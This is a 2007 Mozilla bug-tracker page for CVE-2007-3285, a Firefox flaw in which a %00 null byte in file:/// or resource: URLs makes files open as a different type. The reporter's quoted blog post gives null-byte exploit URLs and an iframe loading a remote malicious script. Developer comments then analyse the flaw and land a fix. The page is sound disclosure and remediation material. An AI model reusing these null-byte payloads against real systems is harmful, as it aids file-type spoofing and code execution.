Last Comment Bug 383478 - (CVE-2007-3285) File type confusion vulnerability due to null bytes in URL (encoded as %00)
(CVE-2007-3285)
: File type confusion vulnerability due to null bytes in URL (encoded as %00)
Status: RESOLVED FIXED
[sg:low] file:/// not available from web
: fixed1.8.0.13, fixed1.8.1.5
Product: Core
Classification: Components
Component: Security (show other bugs)
: unspecified
: x86 Windows XP
: P1 normal (vote)
: ---
Assigned To: Daniel Veditz [:dveditz]
:
Mentors:
http://www.0x000000.com/?i=333
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2007-06-06 10:54 PDT by Window Snyder
Modified: 2007-11-07 00:19 PST (History)
20 users (show)
jonas: blocking1.9+
dveditz: blocking1.8.1.5+
dveditz: blocking1.8.0.13+
jwalden+bmo: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
Totally untested fix to IsExecutable (1.18 KB, patch)
2007-06-08 10:44 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
fail if file: has embedded %00 (3.52 KB, patch)
2007-07-12 12:17 PDT, Daniel Veditz [:dveditz]
dveditz: review+
bzbarsky: superreview+
jaymoz: approval1.8.1.5+
Details | Diff | Review

Description Window Snyder 2007-06-06 10:54:22 PDT
Posted on 0x000000.com by Ronald van den Heetkamp

Firefox Remote & Local Code Excution 0day.

I found this vulnerability in Firefox moments ago while I was playing with the urlbar.
It seems Firefox is vulnerable to null byte file type corruption. It is possible to execute files as a different filetype and trick Firefox into executing it. Is this dangerous? yeah it's pretty bad.

Pointers that are vulnerable:

file:///
resource:

Use:
[uri]/[filelocation]/[file][.ext]%00[.ext]

Example:
file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.html

or:

resource:///README.txt%00.html

More filetypes:

file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.html
file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.js
file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.pdf
file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.doc
file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.xls
probably every filetype.

Oh and: file:///C:/Program%20Files/Mozilla%20Firefox/firefox.exe%00.xpi :)

This could lead to various exploits, to name a few:

- Dossing a user, the above example does it almost.
- Code execution
- File access
- Trojan activation
- Virus activation
- Reflective Cross Site Scripting (RXSS)
- Cross Site Request Forgeries (CSRF)

Another example
It is possible to turn regular .txt stored files into full Javascript html zombies:
file:///[filelocation]/troy.txt%00.html

troy.txt could contain:

/*
Bunch of malicious Javascript
*/

Or:

<html>
<iframe name="bla" src="http://www.0x000000.com/hacks/?troy.js" width="100%" height="900"></iframe>
</html>


Well, I guess you get the point: nasty.


Posted on 06 06 07 by 0x000000
Comment 1 :Gavin Sharp [email: gavin@gavinsharp.com] 2007-06-07 07:25:56 PDT
The comments on that blog, and my testing, seem to indicate that this "exploit" doesn't work remotely (at least not in 2004 due to the resource:// protocol fixes).
Comment 2 :Gavin Sharp [email: gavin@gavinsharp.com] 2007-06-07 07:26:40 PDT
(though it would be interesting to know what troy.js contains, I can't seem to access that file...)
Comment 4 Boris Zbarsky [:bz] 2007-06-08 10:43:13 PDT
We only pass things to Windows if they don't have an executable extension, but we do that test on an nsAString; see nsLocalFile::IsExecutable in nsLocalFileWin.cpp.  On the other hand, nsLocalFile::Launch passes a PRUnichar* pointer to ShellExecute, since that's what the API takes.  We should probably either disallow nulls inside nsLocalFile filenames or change IsExecutable to check the same thing that Launch() will use.  The latter is probably simpler, while the former would generally be better.
Comment 5 Boris Zbarsky [:bz] 2007-06-08 10:44:13 PDT
Created attachment 267724 [details] [diff] [review]
Totally untested fix to IsExecutable

We'll still lie about which helper app we'll use... but at least we'll check the IsExecutable() thing correctly.
Comment 6 Boris Zbarsky [:bz] 2007-06-08 10:46:25 PDT
Note that nsLocalFile::AppendInternal and nsLocalFile::InitWithPath already do some sanity checks with slashes and whatnot.  So we should probably just add similar checks for nulls.  And perhaps look at the other nsLocalFile impls too.
Comment 8 Daniel Veditz [:dveditz] 2007-06-12 11:56:59 PDT
Luckily file:/// is not available from web pages, and in the limited contexts resource: is allowed (script, stylesheets, images, xbl) we ignore requests going to an external helper app.

But if you knew the location of a local file and could somehow get the user to save and execute your .html (an email attachment or other) this might work.
Comment 10 Daniel Veditz [:dveditz] 2007-07-12 12:17:17 PDT
Created attachment 272054 [details] [diff] [review]
fail if file: has embedded %00

This stops the exploit by checking for an embedded null before creating the local file object. I'm not totally happy with it because it doesn't throw an error page they way an embedded %01 pointing at a non-existing file does, but that's rather minor.
Comment 11 Boris Zbarsky [:bz] 2007-07-12 12:23:46 PDT
Comment on attachment 272054 [details] [diff] [review]
fail if file: has embedded %00

Looks OK to me, but I still wonder whether we should also fix this on the XPCOM level.
Comment 12 Daniel Veditz [:dveditz] 2007-07-12 12:59:16 PDT
Comment on attachment 272054 [details] [diff] [review]
fail if file: has embedded %00

Darin replied by mail: "Seems OK.  It is unfortunate that the file URL to file path conversion functions do not share some boiler-plate code that you could patch instead."
Comment 13 Jay Patel [:jay] 2007-07-12 13:01:54 PDT
Comment on attachment 272054 [details] [diff] [review]
fail if file: has embedded %00

Approved for 1.8 branch, a=jay for drivers
Comment 14 Daniel Veditz [:dveditz] 2007-07-12 16:05:01 PDT
Fix checked into trunk and branches
Comment 15 Reed Loden [:reed] (use needinfo?) 2007-11-06 17:50:06 PST
If this is checked-in on trunk, should it still be open?
Comment 17 Robert Sayre 2007-11-07 00:19:41 PST
Marking fixed, reopen if I've made a mistake.

Note You need to log in before you can comment on or make changes to this bug.